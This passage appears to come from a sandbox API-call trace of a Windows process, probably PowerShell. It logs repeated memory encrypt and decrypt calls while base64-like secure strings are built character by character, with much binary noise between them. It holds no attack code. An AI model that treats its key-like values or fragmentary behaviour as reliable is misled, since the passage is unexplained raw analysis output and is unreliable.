(param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵珆䄓瓮㽐嘐ᜋ") returned 0x18 [0233.790] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.791] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO굎") returned 0x18 [0233.791] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.791] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵佔혤왺ᲆ晼偢⺔") returned 0x18 [0233.791] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵佔혤왺ᲆ晼偢⺔") returned 0x18 [0233.791] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.791] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5") returned 0x18 [0233.791] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0233.791] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ⊯) returned 0x18 [0233.791] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ⊯) returned 0x18 [0233.791] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ⊯) returned 0x18 [0233.792] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ⊯) returned 0x20 [0233.792] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.792] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qĎ賈₻匳ⷚ喖抜") returned 0x20 [0233.792] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.792] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ쪯긻ួ㟈弯啲鋧⊢) returned 0x20 [0233.792] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ쪯긻ួ㟈弯啲鋧⊢) returned 0x20 [0233.792] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.793] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qN賈₻匳ⷚ喖抜") returned 0x20 [0233.793] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.793] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ㎯Ӑ\诟俭Η쥈쌛尥") returned 0x20 [0233.793] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ㎯Ӑ\诟俭Η쥈쌛尥") returned 0x20 [0233.793] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.793] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNC₻匳ⷚ喖抜") returned 0x20 [0233.793] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.793] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ亯㗜⑊窗샻务⊛) returned 0x20 [0233.793] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ亯㗜⑊窗샻务⊛) returned 0x20 [0233.793] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.793] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCB匳ⷚ喖抜") returned 0x20 [0233.793] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ얯뇺\揚⹎\⋛) returned 0x20 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ얯뇺\揚⹎\⋛) returned 0x20 [0233.794] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.794] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcⷚ喖抜") returned 0x20 [0233.794] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ疯Ḟࠎ䲅蓕窟둀끐∸) returned 0x20 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ疯Ḟࠎ䲅蓕窟둀끐∸) returned 0x20 [0233.794] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.794] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcN喖抜") returned 0x20 [0233.794] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦଈ쾾羀橪㵣것\드") returned 0x20 [0233.794] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦଈ쾾羀橪㵣것\드") returned 0x20 [0233.794] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.795] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNg抜") returned 0x20 [0233.795] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.795] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ鎯쳶齅후둿燡⭕亲⊫) returned 0x20 [0233.795] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ鎯쳶齅후둿燡⭕亲⊫) returned 0x20 [0233.795] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.795] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgd") returned 0x20 [0233.795] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.795] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚⊉) returned 0x20 [0233.795] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚⊉) returned 0x20 [0233.795] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚⊉) returned 0x20 [0233.796] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚岉砀　㈀∀) returned 0x28 [0233.796] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.796] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgꥃ霥唍埤蝰悈㧥") returned 0x28 [0233.796] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.796] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚ꖉᜁ컰屺韍蚰澧衬⊍) returned 0x28 [0233.796] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚ꖉᜁ컰屺韍蚰澧衬⊍) returned 0x28 [0233.796] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.796] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgp霥唍埤蝰悈㧥") returned 0x28 [0233.796] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.796] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚뢉燁ꁼ眈⳴줣磧⊽) returned 0x28 [0233.796] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚뢉燁ꁼ眈⳴줣磧⊽) returned 0x28 [0233.796] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.797] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV唍埤蝰悈㧥") returned 0x28 [0233.797] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.797] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚榉煋䮱雴瑼灜\뗙颚") returned 0x28 [0233.797] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚榉煋䮱雴瑼灜\뗙颚") returned 0x28 [0233.797] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.797] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4埤蝰悈㧥") returned 0x28 [0233.797] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.797] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚喉퍨갥Π墩檋堆প⊿) returned 0x28 [0233.797] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚喉퍨갥Π墩檋堆প⊿) returned 0x28 [0233.797] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k蝰悈㧥") returned 0x28 [0233.798] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚캤渶ᄾ뼰첬￝⋂) returned 0x28 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚캤渶ᄾ뼰첬￝⋂) returned 0x28 [0233.798] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6悈㧥") returned 0x28 [0233.798] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚㢉퍃釵㫏ⓘᠡ㖞⊂) returned 0x28 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚㢉퍃釵㫏ⓘᠡ㖞⊂) returned 0x28 [0233.798] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6r㧥") returned 0x28 [0233.798] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚ﮉ梉౤扙贊欀\೚") returned 0x28 [0233.798] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚ﮉ梉౤扙贊欀\೚") returned 0x28 [0233.798] SystemFunction041 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.799] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6rf") returned 0x28 [0233.799] SystemFunction040 (in: Memory=0x5c9abdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9abdc) returned 0x0 [0233.799] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬") returned 0x28 [0233.799] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬") returned 0x28 [0233.799] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬") returned 0x28 [0233.799] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬") returned 0x30 [0233.799] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.799] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6rfH鿶跁黽팦.\ퟝ⊦) returned 0x30 [0233.799] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬矨⦝汣탞㭁ῲᇵ") returned 0x30 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬矨⦝汣탞㭁ῲᇵ") returned 0x30 [0233.800] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6rfHh跁黽팦.\ퟝ⊦) returned 0x30 [0233.800] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬驘㐒ᰚ緒涮咔뮄") returned 0x30 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬驘㐒ᰚ緒涮咔뮄") returned 0x30 [0233.800] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6rfHhM黽팦.\ퟝ⊦) returned 0x30 [0233.800] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬謜夨艍⤛왿祣") returned 0x30 [0233.800] SysStringLen (param_1="ᇥ쐫犛墠䈔䌤龊㉱拄ਅ쐵ꘀ￭搖恵ԥ㦛ﮡ驵\ꗘꜦ뚯鲃ퟲ㫳㉈퍬㯈멚\曜ꝣ直␳壉뙑꺹毬謜夨艍⤛왿祣") returned 0x30 [0233.800] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.800] SysStringLen (param_1="YQk+vtiU83e6TG7UqWh2wdO5qNCBcNgdgpV4k6rfHhM=팦.\ퟝ⊦) returned 0x30 [0233.800] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0233.801] EtwEventActivityIdControl () returned 0x0 [0233.801] EtwEventActivityIdControl () returned 0x0 [0233.801] EtwEventActivityIdControl () returned 0x0 [0233.801] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.802] EtwEventActivityIdControl () returned 0x0 [0233.802] EtwEventActivityIdControl () returned 0x0 [0233.802] EtwEventActivityIdControl () returned 0x0 [0233.802] SysStringLen (param_1="") returned 0x8 [0233.803] SysStringLen (param_1="N") returned 0x8 [0233.803] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.803] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.803] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0233.803] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.803] SysStringLen (param_1="ND") returned 0x8 [0233.803] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.803] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.803] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0233.803] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.803] SysStringLen (param_1="NDZ") returned 0x8 [0233.803] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.803] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.803] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0233.803] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="NDZl") returned 0x8 [0233.804] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.804] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0233.804] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="NDZlO") returned 0x8 [0233.804] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.804] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0233.804] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="NDZlOD") returned 0x8 [0233.804] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.804] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.804] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0233.804] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.805] SysStringLen (param_1="NDZlODR") returned 0x8 [0233.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.805] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.805] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0233.805] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.805] SysStringLen (param_1="NDZlODRm") returned 0x8 [0233.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0233.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.805] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0233.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0233.806] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.806] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.806] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0233.806] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.806] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0233.806] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.806] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0233.806] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0233.807] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0233.807] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0233.807] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0233.807] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0233.807] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.807] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0233.807] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0233.808] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0233.808] SysStringLen 